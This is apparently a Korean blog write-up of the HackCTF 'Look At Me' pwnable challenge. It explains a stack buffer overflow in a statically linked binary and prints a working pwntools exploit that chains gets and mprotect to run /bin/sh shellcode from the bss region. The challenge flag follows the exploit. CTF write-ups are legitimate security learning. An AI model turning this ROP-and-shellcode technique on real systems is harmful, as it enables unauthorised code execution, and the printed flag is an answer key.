이번에는 Look At Me이다.
사실 이 문제 전에 Beginner_Heap 이라는 문제가 있지만
Heap은 아직 공부를 하지 않아서 건너뛰었다🙃
이전 Binary와는 큰 차이는 없지만
statically linked라는 점이 전과 다른 거 같다.
statically linked란?
Statically Linked는 루틴들과 외부 함수들 그리고 변수들의 집합으로서, 컴파일 타임에 호출자에 의해 리졸브되며 컴파일러와 링커에 의해 목적 파일과 독립된 실행 파일을 생성하기 위해 대상 애플리케이션에 복사된다.
뭐 그렇다고 하네요
NX bit와 Partial RELRO만 걸려있다.
아이다로 열어보면 Statically Linked 방식답게 함수들이 엄청 많다
main 함수에서는 별 거 없이 look_at_me 함수만 호출하고 종료된다.
look_at_me 함수에서는 Helloooooo 문자열과 함께 v1에 입력을 받는다.
length check를 해주지 않으니 BOF가 터질 거 같다.
그러면 간단하게 RTL로 쉘을 딸 수 있을거 같다.
RTL로 쉘 딸 수 있을거 같다는 거 취소다
놀랍게도 system 함수가 binary에 없다.
그러면 우리는 무슨 방법으로 쉘을 획득하여야 될까
구글링을 하던 중 처음보는 방법을 보게 되었다.
mprotect라는 함수를 이용하는것인데
mprotect 함수는 NX bit같은 특정 메모리 실행 권한을 변경할 수 있는 함수이다.
결국 보호 기법이 걸려 있어도 쉘 코드를 사용할 수 있는 환경을 만들 수 있는것이다.
그럼 우리는 bss 영역에 쉘 코드를 입력하여 쉘을 딸 수 있을거 같다.
익스 구상을 해보자
우선 mprotect의 주소가 필요할 것이고
gets 함수 주소, bss 영역 주소 이 3가지가 익스 코드를
작성하는데 필요할 거 같다.
하나 하나 구해보자
그리고 추가적으로 필요한 pr gadget과 pppr 가젯을 구해보자
이제 익스를 위한 정보들은 다 모인 거 같다!
익스 코드를 작성해보자
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3017)
#p = process("./lookatme")
e = ELF("./lookatme")
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
pr = 0x808319c
pppr = 0x8083bdc
bss = 0x080eaf80
bss_start = 0x080ea000
gets = 0x804f120
mprotect = 0x806e0f0
p.recvline()
payload = "A" * 0x18 #buf
payload += "B" * 0x4 #SFP
payload += p32(gets)
payload += p32(pr)
payload += p32(bss) #pop
payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start) #pop
payload += p32(10000) #pop
payload += p32(0x7) #pop
payload += p32(bss) #ret
p.sendline(payload)
p.sendline(shellcode)
p.interactive()
참고로 mprotect의 pppr gadget 중 p1은 주소의 뒷자리가 000이여야 되는것을 유의하자
flag = HackCTF{Did_you_understand_the_static_linking_method?}
오늘도 끄-읕🤗
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] RTC (0) | 2021.10.18 |
---|---|
[Pwnable] SysROP (0) | 2021.03.08 |
[Pwnable] RTL_Core (0) | 2021.02.07 |
[Pwnable] Random Key (0) | 2021.02.06 |
[Pwnalbe] 1996 (0) | 2021.02.06 |